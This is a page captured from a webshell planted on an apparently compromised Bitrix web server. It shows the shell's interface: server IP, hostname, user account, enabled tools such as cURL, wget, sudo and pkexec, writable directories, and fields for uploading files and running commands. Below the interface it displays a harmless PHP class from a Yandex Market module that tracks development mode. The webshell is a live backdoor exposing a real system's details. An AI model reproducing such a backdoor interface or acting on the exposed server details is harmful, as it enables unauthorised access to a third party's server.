403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/yandex.market/lib/utils/serverstamp/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/yandex.market/lib/utils/serverstamp/development.php
<?php

namespace Yandex\Market\Utils\ServerStamp;

use Bitrix\Main;
use Yandex\Market\Reference\Concerns;
use Yandex\Market;

class Development implements PropertyInterface
{
	use Concerns\HasMessage;

	const START_NAME = 'server_stamp_development_start';

	public function name()
	{
		return 'development';
	}

	public function title()
	{
		return self::getMessage('TITLE');
	}

	public function reset()
	{
		Market\State::remove(static::START_NAME);
	}

	public function collect()
	{
		return Main\Config\Option::get('main', 'update_devsrv', '') === 'Y';
	}

	public function test($stored, $current)
	{
		if ($current && !$stored)
		{
			throw new ChangedException(self::getMessage('STARTED'));
		}

		if ($current && $stored && $this->expired())
		{
			throw new ChangedException(self::getMessage('EXPIRED'));
		}

		if (!$current)
		{
			$this->resetStart();
		}
	}

	protected function expired()
	{
		$now = new Main\Type\DateTime();
		$start = $this->storedStart() ?: $this->touchStart();
		$diff = $now->getTimestamp() - $start->getTimestamp();

		return ($diff > $this->expireLimit());
	}

	protected function expireLimit()
	{
		return 60 * 60 * 6; // six hours for development
	}

	protected function resetStart()
	{
		$stored = $this->storedStart();

		if ($stored === null) { return; }

		Market\State::remove(static::START_NAME);
	}

	protected function storedStart()
	{
		$dateString = (string)Market\State::get(static::START_NAME);

		if ($dateString === '') { return null; }

		return new Main\Type\DateTime($dateString, \DateTime::ATOM);
	}

	protected function touchStart()
	{
		$result = new Main\Type\DateTime();

		Market\State::set(static::START_NAME, $result->format(\DateTime::ATOM));

		return $result;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit